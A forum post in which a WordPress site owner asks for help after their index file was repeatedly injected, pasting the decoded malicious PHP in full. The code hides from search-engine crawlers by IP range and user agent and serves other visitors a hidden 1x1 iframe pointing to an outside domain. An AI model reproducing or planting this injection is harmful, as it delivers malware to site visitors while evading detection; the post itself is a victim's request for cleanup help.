nerdalertmarketingdont know if this is the right section but i really need some help:
a couple of days back a site of mine was hacked (dont know how) and my index file was modified with some code that modifies the header. i dont know exactly what it does because my AVG blocked the attack locally. I ran a virus scan in cpanel and removed the code. Virus scan came up clean. i reset my cpanel password, FTP password adn wordpress password. i also installed secure wordpress plugin (wish i would have done that initially)and everything seemed ok.... but after a day i went and checked the site again and the code was back. it was right back in the index file again. This time i copied it and it decodes to this:
error_reporting(0);
$bot = FALSE ;
$user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api');
$stop_ips_masks = array(
array("216.239.32.0","216.239.63.255"),
array("64.68.80.0" ,"64.68.87.255" ),
array("66.102.0.0", "66.102.15.255"),
array("64.233.160.0","64.233.191.255"),
array("66.249.64.0", "66.249.95.255"),
array("72.14.192.0", "72.14.255.255"),
array("209.85.128.0","209.85.255.255"),
array("198.108.100.192","198.108.100.207"),
array("173.194.0.0","173.194.255.255"),
array("216.33.229.144","216.33.229.151"),
array("216.33.229.160","216.33.229.167"),
array("209.185.108.128","209.185.108.255"),
array("216.109.75.80","216.109.75.95"),
array("64.68.88.0","64.68.95.255"),
array("64.68.64.64","64.68.64.127"),
array("64.41.221.192","64.41.221.207"),
array("74.125.0.0","74.125.255.255"),
array("65.52.0.0","65.55.255.255"),
array("74.6.0.0","74.6.255.255"),
array("67.195.0.0","67.195.255.255"),
array("72.30.0.0","72.30.255.255"),
array("38.0.0.0","38.255.255.255")
);
$my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR']));
foreach ( $stop_ips_masks as $IPs ) {
$first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1]));
if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;}
}
foreach ($user_agent_to_filter as $bot_sign){
if (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;}
}
if (!$bot) {
echo '<iframe src="http://gb3hnh3nf.co.cc/QQkFBg0AAQ0MBA0DEkcJBQYNAwcCAQMMAw==" width="1" height="1"></iframe>';
}I have asked my host to help but they cant do much other than suggest a reinstall. but i dont want to loose all my data.
what can i do here? there is obviously some additional code corrupting my wp install but i dont know where to look or how to remove it.
anyone ever encounter something like this? can anyone help me out?
creatorul
tanira
studiochris
dd@sucuri.net
Dil